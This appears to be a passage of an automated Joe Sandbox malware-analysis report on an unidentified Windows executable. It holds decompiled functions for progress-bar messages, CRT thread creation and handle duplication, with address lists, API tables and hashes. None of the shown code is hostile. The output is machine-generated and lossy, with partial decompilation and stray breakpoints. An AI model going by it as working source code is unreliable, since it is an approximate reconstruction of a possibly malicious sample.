					SendMessageW( *_t34, 0x402, 0, 0);
					SendMessageW( *_t34, 0x401, 0, 0x640000);
					SendMessageW( *_t34, 0x404, 1, 0);
					if( *0x4a83e0 == 0) {
						_t34[0x1f] = 1;
					}
					return 1;
				} else {
					return 0;
				}
			}







                                                                                                                                                                            0x00450db4
                                                                                                                                                                            0x00450db9
                                                                                                                                                                            0x00450dbe
                                                                                                                                                                            0x00450dc5
                                                                                                                                                                            0x00450dc7
                                                                                                                                                                            0x00450dc7
                                                                                                                                                                            0x00450dca
                                                                                                                                                                            0x00450dd2
                                                                                                                                                                            0x00450dd4
                                                                                                                                                                            0x00450dd4
                                                                                                                                                                            0x00450dff
                                                                                                                                                                            0x00450e04
                                                                                                                                                                            0x00450e08
                                                                                                                                                                            0x00450e24
                                                                                                                                                                            0x00450e35
                                                                                                                                                                            0x00450e43
                                                                                                                                                                            0x00450e54
                                                                                                                                                                            0x00450e62
                                                                                                                                                                            0x00450e6b
                                                                                                                                                                            0x00450e72
                                                                                                                                                                            0x00450e72
                                                                                                                                                                            0x00450e7a
                                                                                                                                                                            0x00450e0b
                                                                                                                                                                            0x00450e0e
                                                                                                                                                                            0x00450e0e

                                                                                                                                                                            APIs
                                                                                                                                                                            • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450E24
                                                                                                                                                                            • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450E35
                                                                                                                                                                            • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450E43
                                                                                                                                                                            • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450E54
                                                                                                                                                                            • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450E62
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend
                                                                                                                                                                            • String ID: Msctls_Progress32
                                                                                                                                                                            • API String ID: 3850602802-3636473452
                                                                                                                                                                            • Opcode ID: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                                                                                            • Instruction ID: b51c377fab27852337593a8f268aff884918310fa347e0537580fa9f3b853d23
                                                                                                                                                                            • Opcode Fuzzy Hash: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                                                                                            • Instruction Fuzzy Hash: 2C2121712543007AE7209A65DC42F5BB3E9AFD8B24F214A0EF754B72D1C6B4F8418B58
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00415702 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 73%
                                                                                                                                                                            			E00415702(void* __edx, void* __esi, void* _a4, long _a8, intOrPtr _a12) {
				struct _SECURITY_ATTRIBUTES* _v8;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t14;
				signed int _t15;
				intOrPtr* _t22;
				void* _t36;
				void* _t39;

				_t34 = __edx;
				_t36 = _a4;
				_v8 = 0;
				_t43 = _t36;
				if(_t36 != 0) {
					_push(__esi);
					E00416A84();
					_t39 = E00416FFB(1, 0x214);
					__eflags = _t39;
					if(__eflags == 0) {
						L6:
						_push(_t39);
						_t14 = E00413A88(0, _t34, _t36, _t39, __eflags);
						__eflags = _v8;
						if(_v8 != 0) {
							_t14 = E00417F49(_v8);
						}
						_t15 = _t14 | 0xffffffff;
					} else {
						_push( *((intOrPtr*)(E00416C72(0, _t36, __eflags) + 0x6c)));
						_push(_t39);
						E00416B12(0, __edx, _t36, _t39, __eflags);
						 *(_t39 + 0x54) = _t36;
						 *((intOrPtr*)(_t39 + 0x58)) = _a12;
						_t36 = CreateThread(0, _a8, E0041568B, _t39, 4, _t39);
						 *(_t39 + 4) = _t36;
						__eflags = _t36;
						if(__eflags == 0) {
							L5:
							_v8 = GetLastError();
							goto L6;
						} else {
							__eflags = ResumeThread(_t36) - 0xffffffff;
							if(__eflags != 0) {
								_t15 = _t36;
							} else {
								goto L5;
							}
						}
					}
				} else {
					_t22 = E00417F23(_t43);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t22 = 0x16;
					_t15 = E00417EBB(__edx, _t36, __esi) | 0xffffffff;
				}
				return _t15;
			}












                                                                                                                                                                            0x00415702
                                                                                                                                                                            0x0041570a
                                                                                                                                                                            0x0041570f
                                                                                                                                                                            0x00415712
                                                                                                                                                                            0x00415714
                                                                                                                                                                            0x00415736
                                                                                                                                                                            0x00415737
                                                                                                                                                                            0x00415748
                                                                                                                                                                            0x0041574c
                                                                                                                                                                            0x0041574e
                                                                                                                                                                            0x0041579a
                                                                                                                                                                            0x0041579a
                                                                                                                                                                            0x0041579b
                                                                                                                                                                            0x004157a1
                                                                                                                                                                            0x004157a4
                                                                                                                                                                            0x004157a9
                                                                                                                                                                            0x004157ae
                                                                                                                                                                            0x004157af
                                                                                                                                                                            0x00415750
                                                                                                                                                                            0x00415755
                                                                                                                                                                            0x00415758
                                                                                                                                                                            0x00415759
                                                                                                                                                                            0x0041576f
                                                                                                                                                                            0x00415773
                                                                                                                                                                            0x0041577c
                                                                                                                                                                            0x0041577e
                                                                                                                                                                            0x00415781
                                                                                                                                                                            0x00415783
                                                                                                                                                                            0x00415791
                                                                                                                                                                            0x00415797
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00415785
                                                                                                                                                                            0x0041578c
                                                                                                                                                                            0x0041578f
                                                                                                                                                                            0x004157b4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0041578f
                                                                                                                                                                            0x00415783
                                                                                                                                                                            0x00415716
                                                                                                                                                                            0x00415716
                                                                                                                                                                            0x0041571b
                                                                                                                                                                            0x0041571c
                                                                                                                                                                            0x0041571d
                                                                                                                                                                            0x0041571e
                                                                                                                                                                            0x0041571f
                                                                                                                                                                            0x00415720
                                                                                                                                                                            0x0041572e
                                                                                                                                                                            0x0041572e
                                                                                                                                                                            0x004157ba

                                                                                                                                                                            APIs
                                                                                                                                                                            • ___set_flsgetvalue.LIBCMT ref: 00415737
                                                                                                                                                                            • __calloc_crt.LIBCMT ref: 00415743
                                                                                                                                                                            • __getptd.LIBCMT ref: 00415750
                                                                                                                                                                            • CreateThread.KERNEL32(00000000,?,0041568B,00000000,00000004,00000000), ref: 00415776
                                                                                                                                                                            • ResumeThread.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00415786
                                                                                                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415791
                                                                                                                                                                            • __dosmaperr.LIBCMT ref: 004157A9
                                                                                                                                                                              • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                              • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1269668773-0
                                                                                                                                                                            • Opcode ID: 40da4057e74276abce5726fdb99b17514ef57938113479b1be6c53df29aaf091
                                                                                                                                                                            • Instruction ID: 083f1b3d72dc2b4e3073d7627409da2efaae6cca9fbdfa2eb2c15b7cb2a145f7
                                                                                                                                                                            • Opcode Fuzzy Hash: 40da4057e74276abce5726fdb99b17514ef57938113479b1be6c53df29aaf091
                                                                                                                                                                            • Instruction Fuzzy Hash: 4511E672501604EFC720AF76DC868DF7BA4EF80334F21412FF525922D1DB788981966D
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004140CF Relevance: 10.6, APIs: 7, Instructions: 63threadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 63%
                                                                                                                                                                            			E004140CF(intOrPtr __edx, void* __edi, long _a4, char _a8, intOrPtr _a12, long _a16, DWORD* _a20) {
				struct _SECURITY_ATTRIBUTES* _v0;
				intOrPtr _v4;
				DWORD* _v12;
				void* _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __esi;
				void* _t30;
				void* _t36;
				DWORD* _t41;
				intOrPtr* _t43;
				void* _t45;
				void* _t52;
				long _t55;
				void* _t65;
				intOrPtr _t66;
				intOrPtr* _t68;
				void* _t69;
				intOrPtr _t72;
				void* _t75;

				_t65 = __edi;
				_t62 = __edx;
				_t75 = _v24;
				E00411A35(_v28);
				asm("int3");
				_t72 = _t75;
				_push(_t68);
				E00416A84();
				_t30 = E00416A64(E00416A7E());
				if(_t30 != 0) {
					_t55 = _a4;
					 *((intOrPtr*)(_t30 + 0x54)) =  *((intOrPtr*)(_t55 + 0x54));
					 *((intOrPtr*)(_t30 + 0x58)) =  *((intOrPtr*)(_t55 + 0x58));
					_t62 =  *((intOrPtr*)(_t55 + 4));
					_push(_t55);
					 *((intOrPtr*)(_t30 + 4)) =  *((intOrPtr*)(_t55 + 4));
					E00416C8C(_t52,  *((intOrPtr*)(_t55 + 4)), __edi, _t68, __eflags);
				} else {
					_t68 = _a4;
					if(E00416AB8(E00416A7E(), _t68) == 0) {
						_push(GetLastError());
						RtlExitUserThread();
					}
					 *_t68 = GetCurrentThreadId();
				}
				_t80 =  *0x48322c;
				if( *0x48322c != 0) {
					_t45 = E00418540(_t80, 0x48322c);
					_pop(_t55);
					_t81 = _t45;
					if(_t45 != 0) {
						 *0x48322c();
					}
				}
				E0041409A(_t65, _t68, _t81);
				asm("int3");
				_push(_t72);
				_push(_t55);
				_push(_t52);
				_push(_t65);
				_t66 = _v4;
				_v24 = 0;
				_t82 = _t66;
				if(_t66 != 0) {
					_push(_t68);
					E00416A84();
					_t69 = E00416FFB(1, 0x214);
					__eflags = _t69;
					if(__eflags == 0) {
						L16:
						_push(_t69);
						E00413A88(0, _t62, _t66, _t69, __eflags);
						__eflags = _v12;
						if(_v12 != 0) {
							E00417F49(_v12);
						}
						_t36 = 0;
						__eflags = 0;
					} else {
						_push( *((intOrPtr*)(E00416C72(0, _t66, __eflags) + 0x6c)));
						_push(_t69);
						E00416B12(0, _t62, _t66, _t69, __eflags);
						 *(_t69 + 4) =  *(_t69 + 4) | 0xffffffff;
						 *((intOrPtr*)(_t69 + 0x58)) = _a12;
						_t41 = _a20;
						 *((intOrPtr*)(_t69 + 0x54)) = _t66;
						__eflags = _t41;
						if(_t41 == 0) {
							_t41 =  &_a8;
						}
						_t36 = CreateThread(_v0, _a4, E004140DB, _t69, _a16, _t41);
						__eflags = _t36;
						if(__eflags == 0) {
							_v12 = GetLastError();
							goto L16;
						}
					}
				} else {
					_t43 = E00417F23(_t82);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t43 = 0x16;
					E00417EBB(_t62, _t66, _t68);
					_t36 = 0;
				}
				return _t36;
			}























                                                                                                                                                                            0x004140cf
                                                                                                                                                                            0x004140cf
                                                                                                                                                                            0x004140cf
                                                                                                                                                                            0x004140d5
                                                                                                                                                                            0x004140da
                                                                                                                                                                            0x004140de
                                                                                                                                                                            0x004140e0
                                                                                                                                                                            0x004140e1
                                                                                                                                                                            0x004140ec
                                                                                                                                                                            0x004140f3
                                                                                                                                                                            0x0041411f
                                                                                                                                                                            0x00414125
                                                                                                                                                                            0x0041412b
                                                                                                                                                                            0x0041412e
                                                                                                                                                                            0x00414131
                                                                                                                                                                            0x00414132
                                                                                                                                                                            0x00414135
                                                                                                                                                                            0x004140f5
                                                                                                                                                                            0x004140f5
                                                                                                                                                                            0x00414106
                                                                                                                                                                            0x0041410e
                                                                                                                                                                            0x0041410f
                                                                                                                                                                            0x0041410f
                                                                                                                                                                            0x0041411b
                                                                                                                                                                            0x0041411b
                                                                                                                                                                            0x0041413a
                                                                                                                                                                            0x00414141
                                                                                                                                                                            0x00414148
                                                                                                                                                                            0x0041414d
                                                                                                                                                                            0x0041414e
                                                                                                                                                                            0x00414150
                                                                                                                                                                            0x00414152
                                                                                                                                                                            0x00414152
                                                                                                                                                                            0x00414150
                                                                                                                                                                            0x00414158
                                                                                                                                                                            0x0041415d
                                                                                                                                                                            0x00414160
                                                                                                                                                                            0x00414163
                                                                                                                                                                            0x00414164
                                                                                                                                                                            0x00414165
                                                                                                                                                                            0x00414166
                                                                                                                                                                            0x0041416b
                                                                                                                                                                            0x0041416e
                                                                                                                                                                            0x00414170
                                                                                                                                                                            0x0041418e
                                                                                                                                                                            0x0041418f
                                                                                                                                                                            0x004141a0
                                                                                                                                                                            0x004141a4
                                                                                                                                                                            0x004141a6
                                                                                                                                                                            0x004141f2
                                                                                                                                                                            0x004141f2
                                                                                                                                                                            0x004141f3
                                                                                                                                                                            0x004141f9
                                                                                                                                                                            0x004141fc
                                                                                                                                                                            0x00414201
                                                                                                                                                                            0x00414206
                                                                                                                                                                            0x00414207
                                                                                                                                                                            0x00414207
                                                                                                                                                                            0x004141a8
                                                                                                                                                                            0x004141ad
                                                                                                                                                                            0x004141b0
                                                                                                                                                                            0x004141b1
                                                                                                                                                                            0x004141b9
                                                                                                                                                                            0x004141bd
                                                                                                                                                                            0x004141c0
                                                                                                                                                                            0x004141c5
                                                                                                                                                                            0x004141c8
                                                                                                                                                                            0x004141ca
                                                                                                                                                                            0x004141cc
                                                                                                                                                                            0x004141cc
                                                                                                                                                                            0x004141df
                                                                                                                                                                            0x004141e5
                                                                                                                                                                            0x004141e7
                                                                                                                                                                            0x004141ef
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004141ef
                                                                                                                                                                            0x004141e7
                                                                                                                                                                            0x00414172
                                                                                                                                                                            0x00414172
                                                                                                                                                                            0x00414177
                                                                                                                                                                            0x00414178
                                                                                                                                                                            0x00414179
                                                                                                                                                                            0x0041417a
                                                                                                                                                                            0x0041417b
                                                                                                                                                                            0x0041417c
                                                                                                                                                                            0x00414182
                                                                                                                                                                            0x0041418a
                                                                                                                                                                            0x0041418a
                                                                                                                                                                            0x0041420d

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                                            • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                                              • Part of subcall function 00416A84: TlsGetValue.KERNEL32(?,00416C10,?,004114D4,?,00000000,00000001), ref: 00416A8D
                                                                                                                                                                              • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                              • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,004114D4,?,00000000,00000001), ref: 00416AAE
                                                                                                                                                                            • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                                              • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                            • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                                              • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                            • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                                            • RtlExitUserThread.NTDLL(00000000), ref: 0041410F
                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                                            • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                                            • ___set_flsgetvalue.LIBCMT ref: 0041418F
                                                                                                                                                                            • __calloc_crt.LIBCMT ref: 0041419B
                                                                                                                                                                            • __getptd.LIBCMT ref: 004141A8
                                                                                                                                                                            • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                                                                                                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                                                                                                                                                                            • __dosmaperr.LIBCMT ref: 00414201
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ThreadValue$CurrentErrorLast___set_flsgetvalue__decode_pointer$CreateExitImageNonwritableUser___fls_getvalue@4___fls_setvalue@8__calloc_crt__dosmaperr__freefls@4__getptd_doexit
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 544230409-0
                                                                                                                                                                            • Opcode ID: 234ab307b5c40b08ea0c1433cc5e64915265a7813faf8dc664d6b0a8a95377c8
                                                                                                                                                                            • Instruction ID: 911ed986ec53ede6ef0b83571fa98f68ea879814fd42304df77ef2b59abdac01
                                                                                                                                                                            • Opcode Fuzzy Hash: 234ab307b5c40b08ea0c1433cc5e64915265a7813faf8dc664d6b0a8a95377c8
                                                                                                                                                                            • Instruction Fuzzy Hash: 6201A171400205BBCB003FB6DC0E5DF76ACAF95399B22086EFA0193212DA7CC9C1866D
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00439102 Relevance: 10.5, APIs: 7, Instructions: 46threadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00439102(void** _a4, intOrPtr* _a8, void** _a12) {
				void* _t7;
				void* _t11;
				void* _t23;

				_t23 = E00438FE4();
				_t7 = GetCurrentProcess();
				DuplicateHandle(GetCurrentProcess(),  *_a4, _t7, _t23, 0, 0, 2);
				_t2 = _t23 + 8; // 0x8
				_t11 = GetCurrentProcess();
				DuplicateHandle(GetCurrentProcess(),  *_a12, _t11, _t2, 0, 0, 2);
				 *((intOrPtr*)(_t23 + 4)) =  *_a8;
				return CreateThread(0, 0, 0x4390c2, _t23, 0, 0);
			}






                                                                                                                                                                            0x00439114
                                                                                                                                                                            0x00439119
                                                                                                                                                                            0x0043912c
                                                                                                                                                                            0x00439134
                                                                                                                                                                            0x00439138
                                                                                                                                                                            0x00439145
                                                                                                                                                                            0x0043915b
                                                                                                                                                                            0x00439167

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
                                                                                                                                                                              • Part of subcall function 00438FE4: RtlAllocateHeap.NTDLL(00000000), ref: 00438FEF
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
                                                                                                                                                                            • DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
                                                                                                                                                                            • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$Current$DuplicateHandleHeap$AllocateCreateThread
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1422014791-0
                                                                                                                                                                            • Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                                            • Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
                                                                                                                                                                            • Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                                            • Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0041567F Relevance: 10.5, APIs: 7, Instructions: 41threadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 65%
                                                                                                                                                                            			E0041567F(void* __ebx, void* __edi, void* __esi, long _a4, intOrPtr _a8) {
				void* _v8;
				void* _v12;
				struct _SECURITY_ATTRIBUTES* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				long _t25;
				signed int _t30;
				signed int _t31;
				intOrPtr* _t38;
				void* _t40;
				void* _t43;
				void* _t45;
				long _t48;
				void* _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				intOrPtr _t65;
				intOrPtr _t68;

				_t61 = __esi;
				_t58 = __edi;
				_t45 = __ebx;
				_t68 = _v24;
				E00411A35(_v28);
				asm("int3");
				_t65 = _t68;
				E00416A84();
				_t25 = E00416A64(E00416A7E());
				if(_t25 != 0) {
					L4:
					_t48 = _a4;
					 *((intOrPtr*)(_t25 + 0x54)) =  *((intOrPtr*)(_t48 + 0x54));
					 *((intOrPtr*)(_t25 + 0x58)) =  *((intOrPtr*)(_t48 + 0x58));
					_t55 =  *((intOrPtr*)(_t48 + 4));
					_push(_t48);
					 *((intOrPtr*)(_t25 + 4)) =  *((intOrPtr*)(_t48 + 4));
					E00416C8C(_t45,  *((intOrPtr*)(_t48 + 4)), _t58, _t61, _t72);
				} else {
					_t43 = E00416AB8(E00416A7E(), _a4);
					_t72 = _t43;
					if(_t43 == 0) {
						_push(GetLastError());
						_t25 = RtlExitUserThread();
						goto L4;
					}
				}
				_t73 =  *0x48322c;
				if( *0x48322c != 0) {
					_t40 = E00418540(_t73, 0x48322c);
					_pop(_t48);
					_t74 = _t40;
					if(_t40 != 0) {
						 *0x48322c();
					}
				}
				E0041564A(_t58, _t61, _t74);
				asm("int3");
				_push(_t65);
				_push(_t48);
				_push(_t45);
				_push(_t58);
				_t59 = _v8;
				_v20 = 0;
				_t75 = _t59;
				if(_t59 != 0) {
					_push(_t61);
					E00416A84();
					_t62 = E00416FFB(1, 0x214);
					__eflags = _t62;
					if(__eflags == 0) {
						L15:
						_push(_t62);
						_t30 = E00413A88(0, _t55, _t59, _t62, __eflags);
						__eflags = _v12;
						if(_v12 != 0) {
							_t30 = E00417F49(_v12);
						}
						_t31 = _t30 | 0xffffffff;
					} else {
						_push( *((intOrPtr*)(E00416C72(0, _t59, __eflags) + 0x6c)));
						_push(_t62);
						E00416B12(0, _t55, _t59, _t62, __eflags);
						 *(_t62 + 0x54) = _t59;
						 *((intOrPtr*)(_t62 + 0x58)) = _a8;
						_t59 = CreateThread(0, _a4, E0041568B, _t62, 4, _t62);
						 *(_t62 + 4) = _t59;
						__eflags = _t59;
						if(__eflags == 0) {
							L14:
							_v12 = GetLastError();
							goto L15;
						} else {
							__eflags = ResumeThread(_t59) - 0xffffffff;
							if(__eflags != 0) {
								_t31 = _t59;
							} else {
								goto L14;
							}
						}
					}
				} else {
					_t38 = E00417F23(_t75);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t38 = 0x16;
					_t31 = E00417EBB(_t55, _t59, _t61) | 0xffffffff;
				}
				return _t31;
			}






















                                                                                                                                                                            0x0041567f
                                                                                                                                                                            0x0041567f
                                                                                                                                                                            0x0041567f
                                                                                                                                                                            0x0041567f
                                                                                                                                                                            0x00415685
                                                                                                                                                                            0x0041568a
                                                                                                                                                                            0x0041568e
                                                                                                                                                                            0x00415690
                                                                                                                                                                            0x0041569b
                                                                                                                                                                            0x004156a2
                                                                                                                                                                            0x004156c3
                                                                                                                                                                            0x004156c3
                                                                                                                                                                            0x004156c9
                                                                                                                                                                            0x004156cf
                                                                                                                                                                            0x004156d2
                                                                                                                                                                            0x004156d5
                                                                                                                                                                            0x004156d6
                                                                                                                                                                            0x004156d9
                                                                                                                                                                            0x004156a4
                                                                                                                                                                            0x004156ad
                                                                                                                                                                            0x004156b2
                                                                                                                                                                            0x004156b4
                                                                                                                                                                            0x004156bc
                                                                                                                                                                            0x004156bd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004156bd
                                                                                                                                                                            0x004156b4
                                                                                                                                                                            0x004156de
                                                                                                                                                                            0x004156e5
                                                                                                                                                                            0x004156ec
                                                                                                                                                                            0x004156f1
                                                                                                                                                                            0x004156f2
                                                                                                                                                                            0x004156f4
                                                                                                                                                                            0x004156f6
                                                                                                                                                                            0x004156f6
                                                                                                                                                                            0x004156f4
                                                                                                                                                                            0x004156fc
                                                                                                                                                                            0x00415701
                                                                                                                                                                            0x00415704
                                                                                                                                                                            0x00415707
                                                                                                                                                                            0x00415708
                                                                                                                                                                            0x00415709
                                                                                                                                                                            0x0041570a
                                                                                                                                                                            0x0041570f
                                                                                                                                                                            0x00415712
                                                                                                                                                                            0x00415714
                                                                                                                                                                            0x00415736
                                                                                                                                                                            0x00415737
                                                                                                                                                                            0x00415748
                                                                                                                                                                            0x0041574c
                                                                                                                                                                            0x0041574e
